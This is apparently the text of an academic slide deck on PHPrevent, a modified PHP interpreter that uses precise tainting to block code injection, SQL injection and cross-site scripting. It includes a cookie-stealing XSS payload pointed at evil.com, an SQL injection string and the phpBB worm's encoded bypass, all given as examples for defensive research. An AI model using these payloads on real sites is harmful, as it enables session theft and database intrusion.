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Automatically Hardening Web Applications Using Precise Tainting. Anh Nguyen-Tuong Salvatore Guarnieri Doug Greene Jeff Shirley David Evans. University of Virginia. phpBB Worm. December 21, 2004 Over 40,000 sites defaced PHP injection Loads Perl scripts to spread itself

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automatically hardening web applications using precise tainting

Automatically Hardening Web Applications Using Precise Tainting

Anh Nguyen-Tuong

Salvatore Guarnieri

Doug Greene

Jeff Shirley

David Evans

University of Virginia

phpbb worm
phpBB Worm
  • December 21, 2004
  • Over 40,000 sites defaced
  • PHP injection
  • Loads Perl scripts to spread itself
  • Uses Google to search for other phpBB sites
phpbb vulnerability
$words = explode (\' \',

trim (htmlspecialchars

(urldecode

($HTTP_GET_VARS

[\'highlight\']))));

...

$highlight_match[] = ... $words[$i] ...;

...

… preg_replace (... $highlight_match ...)

Original user input: \'_%2527_attack

User input after HTTP_GET_VARS call: \\'_%27_attack

User input after explicit urldecode call:

\\'_\'_attack

phpBB Vulnerability
classes of attacks
Classes of Attacks
  • Code injection
    • Cause user provided data to be executed while data is being processed
      • PHP injection (phpBB worm)
      • SQL injection
  • Output generation
    • Cause user provided data to be displayed to visitors of the website: Cross Site Scripting
sql injection
SQL Injection
  • Attacker constructs data that injects database commands
  • Example:

$res = executeQuery ("SELECT real_name FROM users WHERE user = \'" . $user

. "\'AND pwd = \'"

. $pwd . "\' ");

cross site scripting
Cross Site Scripting
  • Inserts user provided data onto a webpage that may include JavaScript
  • Executes with permissions of hosting website
  • Simple example:

<b onmouseover= \'location.href= "http://evil.com/steal.php?" + document.cookie\'>Hello</b>

importance
Importance
  • Over 12% of Secunia Advisories
  • 4 of last 10 advisories from FrSIRT
  • Cross Site Scripting and Code Injection are responsible for many attacks on the internet
  • It is very hard to write bug free code
previous approaches
Previous Approaches
  • Static techniques
  • Dynamic techniques before deployment
  • Dynamic techniques during deployment
static
Static
  • Static analyzers [Shanker+ 01]
  • Code inspections [Fagan76]
  • SQL prepared statements [Fisk04, Php05]
  • Pros
    • No runtime overhead
    • Can be done before website is released to the public
  • Cons
    • Coding practices may need to change
    • Inspections are only as good as the inspector
    • Many false positives
dynamic before deployment
Dynamic Before Deployment
  • Automated Test Suites: [Huang+ 04], [Tenable05], [Kavado05], [Offutt+ 04], [Watchfire05], [SPI05]
  • Human testing
  • Pros
    • Coding practices do not need to change
    • Attempts to simulate real world attacking conditions
  • Cons
    • Only tests known attacks, cannot show absence of vulnerability
    • Requires developer effort to fix security holes
automated dynamic firewalls
Automated Dynamic: Firewalls
  • Incoming [Scott, Sharp 02]
  • Incoming and Outgoing [Watchfire04], [Kavado05], [Teros04]
  • Pros
    • No need to modify web service
  • Cons
    • Only prevent recognized attacks
    • Coarse policies without knowing application semantics
automated magic quotes
Automated: Magic Quotes
  • Escape all quotes supplied by a user
  • Implemented in PHP and other scripting languages
  • Extremely successful
    • Do not require the programmer to do anything
    • Prevent many SQL injection attacks
    • But, prevent only a specific class of attacks
previous work limitations
Previous Work Limitations
  • Being precise about what constitutes an attack is a lot of work
  • Automated techniques suffer from not exploiting the application semantics
  • We want a system that works as effortlessly as magic quotes, but prevents a wider class of attacks
our approach
Our Approach
  • Fully automated
  • Aware of application semantics
  • Replace PHP interpreter with a modified interpreter that:
    • Keeps track of which information comes from untrusted sources (precise tainting)
    • Checks how untrusted input is used
slide16

file.php

2

3

File System

1

PHPrevent

PHP Interpreter

4

Client

8

Database

5

HTTP Server

6

7

System APIs

Web Server

coarse grain tainting
Coarse Grain Tainting
  • Provided by many scripting languages (Perl, Ruby)
  • Untrusted input is tainted
  • Everything touched by tainted data becomes tainted

$query = "SELECT real_name FROM users WHERE

user = \'" . $user

. "\'AND pwd = \'"

. $pwd . "\' ";

Entire$query string is tainted

precise tainting
Precise Tainting
  • Untrusted input is tainted
  • Taint markings are maintained at character level
    • Depends on semantics of program
  • Only really tainted data is tainted

$query = "SELECT real_name FROM users WHERE

user = \'" . $user. "\'AND pwd = \'" . $pwd . "\' ";

$query = "SELECT real_name FROM users WHERE

user = \'\' OR 1 = 1; -- \';\'AND pwd = \'\' ";

precise checking
Precise Checking
  • Wrappers around PHP functions that handle updating and checking precise taint information
  • Conservative: no false negatives while minimizing false positives
    • Behavior only changes when an attack is likely
preventing sql injection
Preventing SQL Injection
  • Parse the query using the Postgres SQL parser: identify interpreted text
  • Disallow SQL keywords or delimiters in interpreted text that is tainted
    • Query is not sent to database
    • Error response it returned

"SELECT real_name FROM users WHERE

user = \'\'OR 1 = 1; -- \';\' AND pwd = \'\' ";

preventing php injection
Preventing PHP Injection
  • Disallow tainted data to be used in functions that treat input strings as PHP code or manipulate system state
    • We place wrappers around these functions to enforce this rule
  • phpBB attack prevented by wrappers around preg_replace
preventing cross site scripting
Preventing Cross Site Scripting
  • Wrappers around output functions
    • Buffer output and then parse the tainted output with HTML Tidy
  • Check the parsed HTML against a white list to ensure there is no dangerous output
    • Dangerous content was determined by examining HTML grammar
    • Sanitize it by removing tags

<b>Hello</b> Safe

<b onmouseover= \'location.href= "http://evil.com/steal.php?" + document.cookie\'>Hello</b> Unsafe

current status
Current Status
  • Modified PHP interpreter: PHPrevent
    • Prevents PHP injection, SQL injection and cross site scripting attacks
    • Overly conservative: we have not specified precise semantics for most PHP functions
  • Performance
    • Initial measurements indicate performance overhead is acceptable
future work theory and analysis
Future Work: Theory and Analysis
  • End-to-end information flow security
  • Replace ad-hoc taint marking with principled mechanism
    • Analyze data flow at interpreter level
    • Infer taint specifications for PHP functions using dynamic analysis
  • Verify that taint marking in PHP specification is consistent with interpreter implementation
future work implementation
Future Work: Implementation
  • Full implementation of precise tainting for PHP APIs
  • Handle persistent state
    • Track tainting through database store
  • Multiple tainting types with different checking rules
  • Incorporate modifications into main PHP distribution
summary
Summary
  • Many websites are prone to attacks even after using current methods
  • Our method:
    • Fully automated
    • Prevents large classes of attacks
    • Easy to deploy
thank you
Thank You

www.cs.virginia.edu/sammyg

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